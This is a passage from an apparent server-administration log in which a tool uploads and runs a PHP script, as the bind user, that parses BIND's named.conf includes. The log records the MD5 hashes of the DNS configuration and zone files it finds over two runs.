			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:32:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp978162; rm /tmp/pkp978162'

2026-04-25 18:32:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:39:12: Establishing a connection
2026-04-25 18:39:12: 

PUT: /tmp/pkp811544

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:39:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp811544; rm /tmp/pkp811544'

2026-04-25 18:39:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
